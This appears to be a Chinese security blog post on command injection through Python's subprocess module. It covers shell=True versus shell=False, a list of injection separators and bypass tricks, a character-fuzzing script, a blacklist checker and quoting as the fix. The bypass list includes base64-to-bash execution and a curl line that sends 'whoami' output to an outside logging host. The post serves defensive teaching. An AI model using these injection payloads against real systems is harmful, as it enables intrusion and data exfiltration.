CentOS Linux release 7.3.1611 (Core)
Python 2.7.5
s=subprocess.Popen('id', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
print(s.communicate()) # 输出结果,并kill产生的新进程
3.1 shell为False
>>> s=subprocess.Popen(["ls",";id"], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
>>> s.communicate()
('', 'ls: cannot access ;id: No such file or directory\n')
>>> import subprocess
>>> s=subprocess.Popen(['cat', '/etc/passwd'], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
[root@sec ~]# ps -ef | grep 24593
root 24593 24536 0 11:28 pts/0 00:00:00 python
root 24594 24593 0 11:28 pts/0 00:00:00 [cat] <defunct>
3.2 shell为True
import subprocess
s=subprocess.Popen('whoami | wc -l', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
[root@sec ~]# ps -ef | grep 16323
root 16323 16256 0 14:20 pts/0 00:00:00 python
root 16379 16323 0 14:26 pts/0 00:00:00 [sh] <defunct>
s=subprocess.Popen('whoami', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
[root@sec ~]# ps -ef | grep whoami
root 16200 15484 0 14:13 pts/0 00:00:00 [whoami] <defunct>
root 16203 11641 0 14:14 pts/1 00:00:00 grep --color=auto whoami
[root@sec ~]# ps -ef | grep 15484
root 15484 10092 0 12:24 pts/0 00:00:00 python
root 16200 15484 0 14:13 pts/0 00:00:00 [whoami] <defunct>
3.3 总结二者区别
当执行的命令没有参数时,无论是否设置shell=True,python直接执行该命令,而不是通过/bin/sh
当shell=True,并且命令存在参数时,python调用/bin/sh
执行命令
当shell=True
,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死
如果设置shell为False,并且想执行带参数的命令,第一个参数必须是一个list
ls | id
ls ; id
ls & id
ls 回车 id
ls `id`
ls ` id` 前面加了一个空格
ls `\id` 反斜杠 i\d等价于id
ls $(id)
ls | a=i;b=d;$a$b 拼接
ls | echo aWQ=| base64 -d | bash 利用base64
ls | curl test.joychou.org/`whoami` 利用dnslog或者http web log
ascii为10
;
|
&
`
$
\
(
)
#coding: utf-8
import subprocess
def exec_cmd(cmd):
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res_msg, res_err = p.communicate()
res = res_msg + res_err
return res
def main():
for i in range(1, 256):
cmd = 'echo 111 ' + chr(i) + ' id'
if 'uid' in exec_cmd(cmd):
print chr(i), i, cmd
for i in range(32, 126): # 可见ascii码
if chr(i) == 'u' or chr(i) == '|' or chr(i) == '&' or chr(i) == ';' or i == 10:
continue
for j in range(32, 126):
cmd = 'echo 111 ' + chr(i) + 'id' + chr(j)
if 'uid' in exec_cmd(cmd):
print chr(i), i, cmd
if __name__ == '__main__':
main()
def check_cmd_exec(input):
'''
* input为输入字符串
* 检测到危险字符串,返回True,否则返回False
* author: JoyChou
* date: 2018-03-21
'''
res = ''
blacklist = '`$\()&;|'
for i, ch in enumerate(input):
if ord(ch) == 10 or ch in blacklist:
return True
return False
>>> a = shlex.quote('xxaa~')
>>> a
"'xxaa~'"
>>> a = shlex.quote('xxaa')
>>> a
'xxaa'
>>> filename = 'somefile; whoami'
>>> command = 'ls -l {}'.format(quote(filename))
>>> print(command)
ls -l 'somefile; whoami'
shell=True,使用pipes.quote()
对参数进行过滤
shell=False,参数使用list。缺点是写参数时会稍微麻烦点
https://docs.python.org/2/library/subprocess.html
https://docs.python.org/3/library/shlex.html
命令执行和绕过的一些小技巧[https://www.anquanke.com/post/id/84920]
@JoyChou博客链接:https://joychou.org
◀◀◀ 长按识别关注MLSRC